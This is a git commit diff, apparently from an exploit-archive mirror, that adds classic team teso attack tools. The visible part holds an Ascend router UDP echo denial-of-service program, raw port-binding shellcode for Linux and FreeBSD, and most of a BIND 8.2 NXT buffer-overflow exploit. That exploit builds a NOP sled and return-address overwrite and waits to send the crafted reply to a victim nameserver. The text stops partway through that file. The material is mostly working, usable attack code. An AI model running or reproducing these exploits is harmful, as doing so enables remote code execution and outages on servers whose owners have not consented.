diff options
| author | SkyperTHC | 2026-03-03 06:28:55 +0000 |
|---|---|---|
| committer | SkyperTHC | 2026-03-03 06:28:55 +0000 |
| commit | 5d3573ef7a109ee70416fe94db098fe6a769a798 (patch) | |
| tree | dc2d5b294c9db8ab2db7433511f94e1c4bb8b698 /exploits | |
| parent | c6c59dc73cc4586357f93ab38ecf459e98675cc5 (diff) | |
packetstorm sync
Diffstat (limited to 'exploits')
| -rw-r--r-- | exploits/7350ascend/7350ascend-foo.c | 89 | ||||
| -rw-r--r-- | exploits/7350bindnxt/Makefile | 12 | ||||
| -rw-r--r-- | exploits/7350bindnxt/code.c | 86 | ||||
| -rw-r--r-- | exploits/7350bindnxt/code.h | 21 | ||||
| -rw-r--r-- | exploits/7350bindnxt/dnslib.c | 149 | ||||
| -rw-r--r-- | exploits/7350bindnxt/dnslib.h | 25 | ||||
| -rw-r--r-- | exploits/7350bindnxt/nxt.c | 462 | ||||
| -rw-r--r-- | exploits/7350bindnxt/vulninfo | 53 | ||||
| -rw-r--r-- | exploits/7350delefate/delefate.c | 325 | ||||
| -rw-r--r-- | exploits/7350lapsus/7350lapsus.pl | 65 | ||||
| -rw-r--r-- | exploits/7350man/7350man.c | 36 | ||||
| -rw-r--r-- | exploits/7350pippi/7350pippi.pl | 97 | ||||
| -rw-r--r-- | exploits/7350proftpd/pro.c | 472 | ||||
| -rw-r--r-- | exploits/7350proftpd/vulninfo | 55 | ||||
| -rw-r--r-- | exploits/7350termcap/libtermcapsploit.c | 61 |
15 files changed, 2008 insertions, 0 deletions
diff --git a/exploits/7350ascend/7350ascend-foo.c b/exploits/7350ascend/7350ascend-foo.c new file mode 100644 index 0000000..8980997 --- /dev/null +++ b/exploits/7350ascend/7350ascend-foo.c | |||
| @@ -0,0 +1,89 @@ | |||
| 1 | /* ascend foo denial of service exploit | ||
| 2 | * 1999/09/25 | ||
| 3 | * | ||
| 4 | * basically just another lame echo/echo link, but has nice results on ascend, | ||
| 5 | * you can increase the lag in steps of 2ms by sending one packet, after some | ||
| 6 | * few hundret ms lag you overflow the internal packet buffer and the whole | ||
| 7 | * connection stalls, the router has to be rebooted. | ||
| 8 | * | ||
| 9 | * by scut / team teso [http://teso.scene.at/] | ||
| 10 | * | ||
| 11 | * compile with: gcc -o ascend-foo ascend-foo.c -Wall -lnet -DLIBNET_LIL_ENDIAN | ||
| 12 | * works fine against Ascend Pipeline * modells, haven't tried against others | ||
| 13 | */ | ||
| 14 | |||
| 15 | #include <stdio.h> | ||
| 16 | #include <libnet.h> | ||
| 17 | |||
| 18 | int | ||
| 19 | main (int argc, char **argv) | ||
| 20 | { | ||
| 21 | int sock, c; | ||
| 22 | u_long src_ip; | ||
| 23 | u_char *buf; | ||
| 24 | u_char *qbuf; | ||
| 25 | int qbuf_s = 0; | ||
| 26 | |||
| 27 | printf ("ascend-foo, udp echo dos attack\nby scut / team teso\n\n"); | ||
| 28 | if (argc < 2) { | ||
| 29 | printf ("usage: %s <srcip> [packetsize]\n\n", argv[0]); | ||
| 30 | exit (EXIT_FAILURE); | ||
| 31 | } else if (argc == 2) { | ||
| 32 | qbuf_s = 73; | ||
| 33 | } else { | ||
| 34 | qbuf_s = atoi (argv[2]); | ||
| 35 | } | ||
| 36 | qbuf = malloc (qbuf_s); | ||
| 37 | |||
| 38 | src_ip = libnet_name_resolve (argv[1], 0); | ||
| 39 | |||
| 40 | if (src_ip == 0) { | ||
| 41 | printf ("invalid syntax\n"); | ||
| 42 | exit (EXIT_FAILURE); | ||
| 43 | } | ||
| 44 | |||
| 45 | buf = calloc (1, (UDP_H + IP_H + qbuf_s)); | ||
| 46 | if (buf == NULL) { | ||
| 47 | perror ("No memory for packet"); | ||
| 48 | exit (EXIT_FAILURE); | ||
| 49 | } | ||
| 50 | |||
| 51 | libnet_seed_prand (); | ||
| 52 | |||
| 53 | sock = libnet_open_raw_sock(IPPROTO_RAW); | ||
| 54 | if (sock == -1) { | ||
| 55 | perror ("No socket"); | ||
| 56 | exit (EXIT_FAILURE); | ||
| 57 | } | ||
| 58 | |||
| 59 | libnet_build_ip ( UDP_H + qbuf_s, /* content size */ | ||
| 60 | 0, /* tos */ | ||
| 61 | 0, /* id */ | ||
| 62 | 0, /* frag */ | ||
| 63 | 64, /* ttl */ | ||
| 64 | IPPROTO_UDP, /* subprotocol */ | ||
| 65 | src_ip, /* heh ;) */ | ||
| 66 | src_ip, | ||
| 67 | NULL, /* payload already there */ | ||
| 68 | 0, /* same */ | ||
| 69 | buf); /* build in packet buffer */ | ||
| 70 | |||
| 71 | libnet_build_udp ( 7, /* source port */ | ||
| 72 | 7, | ||
| 73 | qbuf, /* content already there */ | ||
| 74 | qbuf_s, /* same */ | ||
| 75 | buf + IP_H); /* build after ip header */ | ||
| 76 | |||
| 77 | libnet_do_checksum (buf, IPPROTO_UDP, UDP_H + qbuf_s); | ||
| 78 | |||
| 79 | c = libnet_write_ip (sock, buf, UDP_H + IP_H + qbuf_s); | ||
| 80 | if (c < UDP_H + IP_H + qbuf_s) { | ||
| 81 | printf ("write_ip wrote too less bytes\n"); | ||
| 82 | } | ||
| 83 | printf ("completed, wrote %d bytes to victim router\n", c); | ||
| 84 | |||
| 85 | free (buf); | ||
| 86 | |||
| 87 | return (c == -1 ? EXIT_FAILURE : EXIT_SUCCESS); | ||
| 88 | } | ||
| 89 | |||
diff --git a/exploits/7350bindnxt/Makefile b/exploits/7350bindnxt/Makefile new file mode 100644 index 0000000..b13942a --- /dev/null +++ b/exploits/7350bindnxt/Makefile | |||
| @@ -0,0 +1,12 @@ | |||
| 1 | CFLAGS = -Wall -O2 | ||
| 2 | OBJS = nxt.o dnslib.o code.o | ||
| 3 | CC = gcc | ||
| 4 | |||
| 5 | all: nxt | ||
| 6 | |||
| 7 | nxt: $(OBJS) | ||
| 8 | $(CC) $(OBJS) -o nxt | ||
| 9 | |||
| 10 | |||
| 11 | clean: | ||
| 12 | rm -rf *.o *~ nxt | ||
diff --git a/exploits/7350bindnxt/code.c b/exploits/7350bindnxt/code.c new file mode 100644 index 0000000..1ce8ceb --- /dev/null +++ b/exploits/7350bindnxt/code.c | |||
| @@ -0,0 +1,86 @@ | |||
| 1 | /**/ | ||
| 2 | |||
| 3 | #include <stdio.h> | ||
| 4 | #include "code.h" | ||
| 5 | |||
| 6 | char linportshell[]= | ||
| 7 | /*chroot code - u can comment it out without making a difference*/ | ||
| 8 | "\x31\xc0\x31\xdb\x31\xc9\xb0\x0c\xeb\x3b\x5f\x8d\x57" | ||
| 9 | "\x03\x8d\x5f\x02\x80\x2a\x02\x4a\x39\xfa\x7d\xf8\x89" | ||
| 10 | "\xc8\xb0\x27\xcd\x80\x89\xc8\xb0\x3d\xcd\x80\x31\xd2" | ||
| 11 | "\xb2\x0c\x88\x0b\x89\xfb\xb1\x10\x89\xd0\xcd\x80\xfe" | ||
| 12 | "\xc9\x80\xf9\x01\x7d\xf5\x88\x4b\x01\x89\xc8\xb0\x3d" | ||
| 13 | "\xcd\x80\xeb\x09\xe8\xc0\xff\xff\xff\x30\x30\x51\x02" | ||
| 14 | |||
| 15 | "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xeb\x74\x5f\x89\x4f\x10\xfe" | ||
| 16 | "\xc1\x89\x4f\x0c\xfe\xc1\x89\x4f\x08\x8d\x4f\x08\xfe\xc3\xb0" | ||
| 17 | "\x66\xcd\x80\xfe\xc3\xc6\x47\x10\x10\x66\x89\x5f\x14\x88\x47" | ||
| 18 | "\x08\xb0\x45\x66\x89\x47\x16\x89\x57\x18\x8d\x4f\x14\x89\x4f" | ||
| 19 | "\x0c\x8d\x4f\x08\xb0\x66\xcd\x80\x89\x5f\x0c\xfe\xc3\xfe\xc3" | ||
| 20 | "\xb0\x66\xcd\x80\x89\x57\x0c\x89\x57\x10\xfe\xc3\xb0\x66\xcd" | ||
| 21 | "\x80\x31\xc9\x88\xc3\xb0\x3f\xcd\x80\xfe\xc1\xb0\x3f\xcd\x80" | ||
| 22 | "\xfe\xc1\xb0\x3f\xcd\x80\x88\x57\x07\x89\x7f\x0c\x89\xfb\x8d" | ||
| 23 | "\x4f\x0c\xb0\x0b\xcd\x80\xe8\x87\xff\xff\xff/bin/sh"; | ||
| 24 | |||
| 25 | char linpeername[]= | ||
| 26 | /* same chroot code */ | ||
| 27 | "\x31\xc0\x31\xdb\x31\xc9\xb0\x0c\xeb\x3b\x5f\x8d\x57" | ||
| 28 | "\x03\x8d\x5f\x02\x80\x2a\x02\x4a\x39\xfa\x7d\xf8\x89" | ||
| 29 | "\xc8\xb0\x27\xcd\x80\x89\xc8\xb0\x3d\xcd\x80\x31\xd2" | ||
| 30 | "\xb2\x0c\x88\x0b\x89\xfb\xb1\x10\x89\xd0\xcd\x80\xfe" | ||
| 31 | "\xc9\x80\xf9\x01\x7d\xf5\x88\x4b\x01\x89\xc8\xb0\x3d" | ||
| 32 | "\xcd\x80\xeb\x09\xe8\xc0\xff\xff\xff\x30\x30\x51\x02" | ||
| 33 | |||
| 34 | "\x31\xc0\x31\xdb\x31\xc9\xb3\x07\xeb\x67\x5f\x8d\x4f" | ||
| 35 | "\x07\x8d\x51\x0c\x89\x51\x04\x8d\x51\x1c\x89\x51\x08" | ||
| 36 | "\x89\x41\x1c\x31\xd2\x89\x11\x31\xc0\xc6\x41\x1c\x10" | ||
| 37 | "\xb0\x66\xcd\x80\xfe\xc0\x80\x79\x0c\x02\x75\x04\x3c" | ||
| 38 | "\x01\x74\x0d\xfe\xc2\x80\xfa\x01\x7d\xe1\x31\xc0\xfe" | ||
| 39 | "\xc0\xcd\x80\x89\xd3\x31\xc9\x31\xc0\xb0\x3f\xcd\x80" | ||
| 40 | "\xfe\xc1\x80\xf9\x03\x75\xf3\x89\xfb\x31\xc0\x31\xd2" | ||
| 41 | "\x88\x43\x07\x89\x5b\x08\x8d\x4b\x08\x89\x43\x0c\xb0" | ||
| 42 | "\x0b\xcd\x80\x31\xc0\xfe\xc0\xcd\x80\xe8\x94\xff\xff" | ||
| 43 | "\xff\x2f\x62\x69\x6e\x2f\x73\x68"; | ||
| 44 | |||
| 45 | /* only tested on freebsd */ | ||
| 46 | char bsdportshell[]= | ||
| 47 | "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x61\xeb\x7e\x5f\xc6\x47\x08" | ||
| 48 | "\x9a\x89\x47\x09\x89\x47\x0d\xc6\x47\x0d\x07\xc6\x47\x0f\xc3\x50" | ||
| 49 | "\x53\x6a\x01\x6a\x02\x8d\x4f\x08\xff\xd1\x89\x47\x24\xb0\x68\x50" | ||
| 50 | "\x6a\x10\xb3\x02\x66\x89\x5f\x10\xb3\x45\x66\x89\x5f\x12\x89\x57" | ||
| 51 | "\x14\x8d\x5f\x10\x53\xff\x77\x24\xff\xd1\xb0\x6a\x50\x6a\x02\xff" | ||
| 52 | "\x77\x24\xff\xd1\xb0\x1e\x50\x52\x52\xff\x77\x24\xff\xd1\x89\xc3" | ||
| 53 | "\xb0\x5a\x50\x52\x53\xff\xd1\xb0\x5a\x50\x42\x52\x53\xff\xd1\xb0" | ||
| 54 | "\x5a\x50\x42\x52\x53\xff\xd1\xb0\x3b\x31\xdb\x50\x88\x5f\x07\x53" | ||
| 55 | "\x89\x7f\x10\x8d\x5f\x10\x53\x57\xff\xd1\xe8\x7d\xff\xff\xff/bin/sh"; | ||
| 56 | |||
| 57 | |||
| 58 | c0de linux_i386[ARCH_MAX]= | ||
| 59 | { | ||
| 60 | {linportshell, sizeof (linportshell)}, | ||
| 61 | {linpeername, sizeof (linpeername)}, | ||
| 62 | }; | ||
| 63 | |||
| 64 | c0de bsd_i386[ARCH_MAX]= | ||
| 65 | { | ||
| 66 | {bsdportshell, sizeof (bsdportshell)}, | ||
| 67 | {NULL, 0} | ||
| 68 | }; | ||
| 69 | |||
| 70 | c0de *archs[]= | ||
| 71 | { | ||
| 72 | linux_i386, | ||
| 73 | bsd_i386 | ||
| 74 | }; | ||
| 75 | |||
| 76 | char *archs_str[]= | ||
| 77 | { | ||
| 78 | "linux i386", | ||
| 79 | "bsd i386" | ||
| 80 | }; | ||
| 81 | |||
| 82 | char *code_str[]= | ||
| 83 | { | ||
| 84 | "portshell code", | ||
| 85 | "peername code" | ||
| 86 | }; | ||
diff --git a/exploits/7350bindnxt/code.h b/exploits/7350bindnxt/code.h new file mode 100644 index 0000000..c547e83 --- /dev/null +++ b/exploits/7350bindnxt/code.h | |||
| @@ -0,0 +1,21 @@ | |||
| 1 | #ifndef CODE_H | ||
| 2 | #define CODE_H | ||
| 3 | |||
| 4 | #define LINUX_I386 0x0 | ||
| 5 | #define BSD_I386 0x1 | ||
| 6 | #define ARCH_MAX 0x2 | ||
| 7 | |||
| 8 | #define PORTSHELL 0x0 | ||
| 9 | #define PEERNAME 0x1 | ||
| 10 | #define TYPE_MAX 0x2 | ||
| 11 | |||
| 12 | typedef struct c0de { | ||
| 13 | char *code; | ||
| 14 | int codesize; | ||
| 15 | } c0de; | ||
| 16 | |||
| 17 | extern c0de *archs[]; | ||
| 18 | extern char *archs_str[], | ||
| 19 | *code_str[]; | ||
| 20 | |||
| 21 | #endif /* CODE_H */ | ||
diff --git a/exploits/7350bindnxt/dnslib.c b/exploits/7350bindnxt/dnslib.c new file mode 100644 index 0000000..d1afb13 --- /dev/null +++ b/exploits/7350bindnxt/dnslib.c | |||
| @@ -0,0 +1,149 @@ | |||
| 1 | #include "dnslib.h" | ||
| 2 | #include <netinet/in.h> | ||
| 3 | #include <arpa/inet.h> | ||
| 4 | |||
| 5 | /* make a full dns query including header. Returns length of packet. | ||
| 6 | */ | ||
| 7 | int | ||
| 8 | makequery (char *name, u_int16_t type, u_int8_t *buffer, u_int16_t id) | ||
| 9 | { | ||
| 10 | HEADER *head; | ||
| 11 | |||
| 12 | head = (HEADER *)buffer; | ||
| 13 | |||
| 14 | bzero (head, DNSHDRSIZE); | ||
| 15 | head->id = htons (id); | ||
| 16 | head->qr = 0; | ||
| 17 | head->opcode = 0; | ||
| 18 | head->aa = 0; | ||
| 19 | head->tc = 0; | ||
| 20 | head->rd = 1; | ||
| 21 | head->ra = 0; | ||
| 22 | head->rcode = 0; | ||
| 23 | head->qdcount = htons (1); | ||
| 24 | head->ancount = 0; | ||
| 25 | head->nscount = 0; | ||
| 26 | head->arcount = 0; | ||
| 27 | |||
| 28 | return (makeqbody (name, type, buffer + DNSHDRSIZE) + DNSHDRSIZE); | ||
| 29 | } | ||
| 30 | |||
| 31 | /* convert a \0-terminated string to a DNS domain name. | ||
| 32 | * www.yahoo.com(.) => \003www\005yahoo\003\com\000 | ||
| 33 | */ | ||
| 34 | int | ||
| 35 | formatname (char *in, u_int8_t *out) | ||
| 36 | { | ||
| 37 | char *start = in, c = 0; | ||
| 38 | int n = strlen (in); | ||
| 39 | |||
| 40 | in += n - 1; | ||
| 41 | out += n + 1; | ||
| 42 | |||
| 43 | *out-- = 0; | ||
| 44 | |||
| 45 | n = 0; | ||
| 46 | while (in >= start) { | ||
| 47 | c = *in--; | ||
| 48 | if (c == '.') { | ||
| 49 | *out-- = n; | ||
| 50 | n = 0; | ||
| 51 | } else { | ||
| 52 | *out-- = c; | ||
| 53 | n++; | ||
| 54 | } | ||
| 55 | } | ||
| 56 | |||
| 57 | if (n) | ||
| 58 | *out-- = n; | ||
| 59 | |||
| 60 | return (strlen (out + 1) + 1); | ||
| 61 | } | ||
| 62 | |||
| 63 | /* simple function for making a, ptr and ns resource records | ||
| 64 | * doesn't support more complicated stuph. | ||
| 65 | */ | ||
| 66 | |||
| 67 | int | ||
| 68 | makeRR (char *name, u_int16_t type, u_int16_t class, u_int32_t ttl, | ||
| 69 | char *rdata, char *buf) | ||
| 70 | { | ||
| 71 | int n; | ||
| 72 | rrec_body *rec; | ||
| 73 | char *ptr = buf; | ||
| 74 | |||
| 75 | /* name the resource record pertains too */ | ||
| 76 | ptr += formatname (name, ptr); | ||
| 77 | rec = (rrec_body *)ptr; | ||
| 78 | rec->type = htons (type); | ||
| 79 | rec->class = htons (class); | ||
| 80 | rec->ttl = htonl (ttl); | ||
| 81 | rec->rdlength = 0; | ||
| 82 | ptr += 10; | ||
| 83 | |||
| 84 | switch (type) { | ||
| 85 | case T_A: | ||
| 86 | *(u_int32_t *)ptr = inet_addr (rdata); | ||
| 87 | rec->rdlength = htons (4); | ||
| 88 | ptr += 4; | ||
| 89 | break; | ||
| 90 | case T_PTR: | ||
| 91 | case T_NS: | ||
| 92 | n = formatname (rdata, ptr); | ||
| 93 | ptr += n; | ||
| 94 | rec->rdlength = htons (n); | ||
| 95 | break; | ||
| 96 | default: | ||
| 97 | /**/ | ||
| 98 | } | ||
| 99 | return (ptr - buf); | ||
| 100 | } | ||
| 101 | |||
| 102 | /* make just the body of a DNS query. | ||
| 103 | */ | ||
| 104 | int | ||
| 105 | makeqbody (char *name, u_int16_t type, u_int8_t *buffer) | ||
| 106 | { | ||
| 107 | int len; | ||
| 108 | |||
| 109 | len = formatname (name, buffer); | ||
| 110 | buffer += len; | ||
| 111 | PUTSHORT (type, buffer); | ||
| 112 | PUTSHORT (C_IN, buffer); | ||
| 113 | return (len + 4); | ||
| 114 | } | ||
| 115 | |||
| 116 | |||
| 117 | /* uncompress compressed dns names. ugh. | ||
| 118 | * works for normal formatted dns names too.. | ||
| 119 | * returns the length of the first part of the compressed name (i.e. | ||
| 120 | * before redirection). | ||
| 121 | */ | ||
| 122 | |||
| 123 | int | ||
| 124 | uncompress (u_int8_t *in, char *out, u_int8_t *msg) | ||
| 125 | { | ||
| 126 | u_int8_t *start = in, *end = NULL; | ||
| 127 | u_int8_t len; | ||
| 128 | u_int16_t off; | ||
| 129 | |||
| 130 | while ((len = *in++)) { | ||
| 131 | if (len & INDIR_MASK) { | ||
| 132 | if (end == NULL) | ||
| 133 | end = in + 1; | ||
| 134 | off = (len & ~INDIR_MASK); | ||
| 135 | off |= *in++ << 8; | ||
| 136 | off = ntohs (off); | ||
| 137 | in = msg + off; | ||
| 138 | continue; | ||
| 139 | } | ||
| 140 | memcpy (out, in, len); | ||
| 141 | out += len; | ||
| 142 | in += len; | ||
| 143 | *out++ = '.'; | ||
| 144 | } | ||
| 145 | if (end == NULL) | ||
| 146 | end = in; | ||
| 147 | *out++ = 0; | ||
| 148 | return (end - start); | ||
| 149 | } | ||
diff --git a/exploits/7350bindnxt/dnslib.h b/exploits/7350bindnxt/dnslib.h new file mode 100644 index 0000000..2beefe1 --- /dev/null +++ b/exploits/7350bindnxt/dnslib.h | |||
| @@ -0,0 +1,25 @@ | |||
| 1 | #ifndef DNSLIB_H | ||
| 2 | #define DNSLIB_H | ||
| 3 | #include <stdlib.h> | ||
| 4 | #include <string.h> | ||
| 5 | #include <sys/types.h> | ||
| 6 | #include <arpa/nameser.h> | ||
| 7 | |||
| 8 | #define DNSHDRSIZE sizeof(HEADER) | ||
| 9 | |||
| 10 | int makequery(char *name, u_int16_t type, u_int8_t *buffer, u_int16_t id); | ||
| 11 | int makeqbody(char *name, u_int16_t type, u_int8_t *buffer); | ||
| 12 | int formatname(char *in, u_int8_t *out); | ||
| 13 | int uncompress(u_int8_t *in, char *out, u_int8_t *msg); | ||
| 14 | |||
| 15 | typedef struct { | ||
| 16 | u_int16_t type; | ||
| 17 | u_int16_t class; | ||
| 18 | u_int32_t ttl; | ||
| 19 | u_int16_t rdlength; | ||
| 20 | } rrec_body; | ||
| 21 | |||
| 22 | int makeRR (char *name, u_int16_t type, u_int16_t class, u_int32_t ttl, | ||
| 23 | char *rdata, char *buf); | ||
| 24 | |||
| 25 | #endif /* DNSLIB_H */ | ||
diff --git a/exploits/7350bindnxt/nxt.c b/exploits/7350bindnxt/nxt.c new file mode 100644 index 0000000..090edb2 --- /dev/null +++ b/exploits/7350bindnxt/nxt.c | |||
| @@ -0,0 +1,462 @@ | |||
| 1 | /* Preliminary exploit for named 8.2 on linux by z-. | ||
| 2 | * | ||
| 3 | * thx to horizon and jayenz. | ||
| 4 | * | ||
| 5 | * NB: u need to get the nameserver to query the exploit, something along | ||
| 6 | * the lines of: | ||
| 7 | * $ nslookup asdfasdf.urdomain.com victim.server.com | ||
| 8 | */ | ||
| 9 | |||
| 10 | #include <stdio.h> | ||
| 11 | #include <unistd.h> | ||
| 12 | #include <stdlib.h> | ||
| 13 | #include <sys/time.h> | ||
| 14 | #include <sys/types.h> | ||
| 15 | #include <sys/socket.h> | ||
| 16 | #include <netinet/in.h> | ||
| 17 | #include <arpa/inet.h> | ||
| 18 | #include <arpa/nameser.h> | ||
| 19 | #include <netdb.h> | ||
| 20 | #include "dnslib.h" | ||
| 21 | #include "code.h" | ||
| 22 | |||
| 23 | #define DEBUG | ||
| 24 | #ifndef T_NXT | ||
| 25 | #define T_NXT 30 | ||
| 26 | #endif | ||
| 27 | |||
| 28 | int connect_portshell (struct in_addr ip); | ||
| 29 | int run_shell (int fd); | ||
| 30 | |||
| 31 | #define SLEEP 2 | ||
| 32 | #define CODE_PORT 17664 | ||
| 33 | |||
| 34 | #define RET_CNT 16 /* number of times to repeat the return address */ | ||
| 35 | #define RET_POS 4133 /* distance till end of the buffer */ | ||
| 36 | |||
| 37 | #define NOP 0x09 | ||
| 38 | |||
| 39 | #define SA struct sockaddr | ||
| 40 | |||
| 41 | typedef struct type { | ||
| 42 | char *name; | ||
| 43 | unsigned long ret; | ||
| 44 | int arch; | ||
| 45 | } type; | ||
| 46 | |||
| 47 | type types[]= | ||
| 48 | { | ||
| 49 | {"8.2 linux", /*0xbfffdd34*/0xbfffd6c3, LINUX_I386}, | ||
| 50 | {"8.2.1 Freebsd", 0x31313131, BSD_I386}, /* fixme */ | ||
| 51 | {NULL, 0, 0} | ||
| 52 | }; | ||
| 53 | |||
| 54 | u_int type_cnt = (sizeof (types) / sizeof (type)) - 1, | ||
| 55 | victim_type = 0, | ||
| 56 | shellcode_type = PORTSHELL; | ||
| 57 | |||
| 58 | char *ourdomain; | ||
| 59 | |||
| 60 | void pfatal (char *s); | ||
| 61 | int resolv (char *hostname, struct in_addr *ip); | ||
| 62 | void usage (char *prog); | ||
| 63 | |||
| 64 | /* actually make the egg to overflow the data[] buffer, including nops. | ||
| 65 | * returns length of egg. | ||
| 66 | */ | ||
| 67 | int | ||
| 68 | make_egg (char *ptr) | ||
| 69 | { | ||
| 70 | u_int *ret_ptr; | ||
| 71 | c0de *c0de_ptr; | ||
| 72 | char *code; | ||
| 73 | int i, | ||
| 74 | codesize, | ||
| 75 | arch; | ||
| 76 | |||
| 77 | |||
| 78 | /* don't bother sanity checking here */ | ||
| 79 | |||
| 80 | arch = types[victim_type].arch; | ||
| 81 | |||
| 82 | c0de_ptr = archs[arch]; | ||
| 83 | |||
| 84 | code = c0de_ptr[shellcode_type].code; | ||
| 85 | codesize = c0de_ptr[shellcode_type].codesize; | ||
| 86 | |||
| 87 | #ifdef DEBUG | ||
| 88 | printf ("codesize = %d\n", codesize); | ||
| 89 | #endif | ||
| 90 | memset (ptr, NOP, RET_POS); | ||
| 91 | memcpy (ptr + RET_POS - codesize, code, codesize); | ||
| 92 | |||
| 93 | /* risc alignment is evil ! */ | ||
| 94 | ret_ptr = (u_int *)(ptr + RET_POS); | ||
| 95 | for (i = 0; i < RET_CNT; i++) | ||
| 96 | *ret_ptr++ = types[victim_type].ret; | ||
| 97 | |||
| 98 | return (RET_POS + 4 * RET_CNT); | ||
| 99 | } | ||
| 100 | |||
| 101 | /* send exploit data to 'victim'. | ||
| 102 | * returns connected descriptor on succes | ||
| 103 | * returns -1 on error | ||
| 104 | */ | ||
| 105 | int | ||
| 106 | send_data (struct sockaddr_in *victim, char *buf, int len) | ||
| 107 | { | ||
| 108 | struct sockaddr_in sin; | ||
| 109 | int fd; | ||
| 110 | u_short lennbo; | ||
| 111 | |||
| 112 | fd = socket (AF_INET, SOCK_STREAM, IPPROTO_TCP); | ||
| 113 | if (fd < 0) | ||
| 114 | return (-1); | ||
| 115 | |||
| 116 | /* we need to bind to port 53 to appear as named */ | ||
| 117 | |||
| 118 | bzero (&sin, sizeof (sin)); | ||
| 119 | sin.sin_family = AF_INET; | ||
| 120 | sin.sin_addr.s_addr = htonl (INADDR_ANY); | ||
| 121 | sin.sin_port = htons (53); | ||
| 122 | |||
| 123 | printf("Binding to local port 53...\n"); | ||
| 124 | if (bind (fd, (SA *)&sin, sizeof(sin)) < 0) { | ||
| 125 | close (fd); | ||
| 126 | return (-1); | ||
| 127 | } | ||
| 128 | |||
| 129 | victim->sin_port = htons (53); | ||
| 130 | |||
| 131 | if (connect (fd, (SA *)victim, sizeof(struct sockaddr_in)) < 0) { | ||
| 132 | close (fd); | ||
| 133 | return (-1); | ||
| 134 | } | ||
| 135 | |||
| 136 | printf("Sending packet of length %d\n", len); | ||
| 137 | |||
| 138 | lennbo = htons (len); | ||
| 139 | send (fd, &lennbo, sizeof(u_short), 0); | ||
| 140 | if (send (fd, buf, len, 0) < len) { | ||
| 141 | close (fd); | ||
| 142 | return (-1); | ||
| 143 | } | ||
| 144 | |||
| 145 | return (fd); | ||
| 146 | } | ||
| 147 | |||
| 148 | /* make the dns packet to exploit named and call send_data(). | ||
| 149 | * returns the result of send_data() | ||
| 150 | */ | ||
| 151 | int | ||
| 152 | send_exploit (u_char *buf, struct sockaddr_in *victim) | ||
| 153 | { | ||
| 154 | u_char response[5120], | ||
| 155 | query[256], | ||
| 156 | tmp_str[100], | ||
| 157 | *ptr, *tmp; | ||
| 158 | u_short type; | ||
| 159 | HEADER *hdr; | ||
| 160 | |||
| 161 | ptr = buf + DNSHDRSIZE; | ||
| 162 | ptr += uncompress (ptr, query, buf); | ||
| 163 | GETSHORT (type, ptr) | ||
| 164 | |||
| 165 | printf("Query %s type %d\n", query, type); | ||
| 166 | |||
| 167 | hdr = (HEADER *)response; | ||
| 168 | hdr->id = ((HEADER *)buf)->id; | ||
| 169 | hdr->qr = 1; /* answer */ | ||
| 170 | hdr->aa = 1; /* authoritative */ | ||
| 171 | hdr->qdcount = htons (1); | ||
| 172 | hdr->ancount = htons (1); | ||
| 173 | hdr->nscount = htons (0); | ||
| 174 | hdr->arcount = htons (1); | ||
| 175 | ptr = response + sizeof (HEADER); | ||
| 176 | |||
| 177 | ptr += makeqbody (query, type, ptr); | ||
| 178 | |||
| 179 | /* do the answer */ | ||
| 180 | switch (type) { | ||
| 181 | case T_A: | ||
| 182 | ptr += makeRR (query, type, C_IN, 10000, "3.1.33.7", ptr); | ||
| 183 | break; | ||
| 184 | case T_PTR: | ||
| 185 | case T_NS: | ||
| 186 | sprintf (tmp_str, "rand0m.%s", ourdomain); | ||
| 187 | ptr += makeRR (query, type, C_IN, 10000, tmp_str, ptr); | ||
| 188 | break; | ||
| 189 | default: | ||
| 190 | printf("Krazy packetz\n"); | ||
| 191 | exit(-1); | ||
| 192 | } | ||
| 193 | |||
| 194 | /* now do the overflow */ | ||
| 195 | /* first comes the query name again. | ||
| 196 | */ | ||
| 197 | ptr += formatname (query, ptr); | ||
| 198 | PUTSHORT (T_NXT, ptr); | ||
| 199 | PUTSHORT (C_IN, ptr); | ||
| 200 | PUTLONG (100000, ptr); | ||
| 201 | tmp = ptr; /* tmp points to rdlength */ | ||
| 202 | |||
| 203 | /* now do rdata section. */ | ||
| 204 | ptr += 2; | ||
| 205 | /* first any domain u want, note the length affects the ret */ | ||
| 206 | ptr += formatname ("smiler", ptr); | ||
| 207 | /* then the arbitrary data */ | ||
| 208 | ptr += make_egg (ptr); | ||
| 209 | PUTSHORT ((u_short)(ptr-tmp-2), tmp); /* store the rdlength */ | ||
| 210 | |||
| 211 | return (send_data (victim, response, ptr - response)); | ||
| 212 | } | ||
| 213 | |||
| 214 | /* loop waiting for the query from 'victim'. | ||
| 215 | * returns the result of send_exploit() | ||
| 216 | */ | ||
| 217 | int | ||
| 218 | wait_for_connection (struct in_addr victim) | ||
| 219 | { | ||
| 220 | struct sockaddr_in from; | ||
| 221 | u_char beef[512]; | ||
| 222 | int fd, | ||
| 223 | n, fromlen; | ||
| 224 | |||
| 225 | fd = socket (AF_INET, SOCK_DGRAM, 0); | ||
| 226 | if (fd < 0) | ||
| 227 | pfatal ("socket"); | ||
| 228 | |||
| 229 | bzero (&from, sizeof(from)); | ||
| 230 | from.sin_addr.s_addr = htonl(INADDR_ANY); | ||
| 231 | from.sin_port = htons(53); | ||
| 232 | from.sin_family = AF_INET; | ||
| 233 | |||
| 234 | if (bind (fd, (SA *)&from, sizeof(from)) < 0) | ||
| 235 | return (-1); | ||
| 236 | |||
| 237 | printf ("Waiting for query packet from victim...\n"); | ||
| 238 | |||
| 239 | for (;;) { | ||
| 240 | HEADER *ptr; | ||
| 241 | |||
| 242 | fromlen = sizeof(from); | ||
| 243 | n = recvfrom (fd, beef, sizeof (beef), 0, (SA *)&from, | ||
| 244 | &fromlen); | ||
| 245 | if (n <= 0) | ||
| 246 | return (-1); | ||
| 247 | #ifdef DEBUG | ||
| 248 | fprintf(stderr, "Packet from %s %d\n", inet_ntoa | ||
| 249 | (from.sin_addr), ntohs(from.sin_port)); | ||
| 250 | #endif | ||
| 251 | |||
| 252 | if (from.sin_addr.s_addr != victim.s_addr) | ||
| 253 | continue; | ||
| 254 | |||
| 255 | #ifndef DEBUG | ||
| 256 | fprintf (stderr, "Got packet from %s %d\n", | ||
| 257 | inet_ntoa (from.sin_addr), ntohs (from.sin_port)); | ||
| 258 | #endif | ||
| 259 | |||
| 260 | ptr = (HEADER *)beef; | ||
| 261 | if (ptr->qr || !ptr->qdcount) | ||
| 262 | continue; | ||
| 263 | |||
| 264 | close (fd); | ||
| 265 | return (send_exploit (beef, &from)); | ||
| 266 | break; | ||
| 267 | } | ||
| 268 | return (0); | ||
| 269 | } | ||
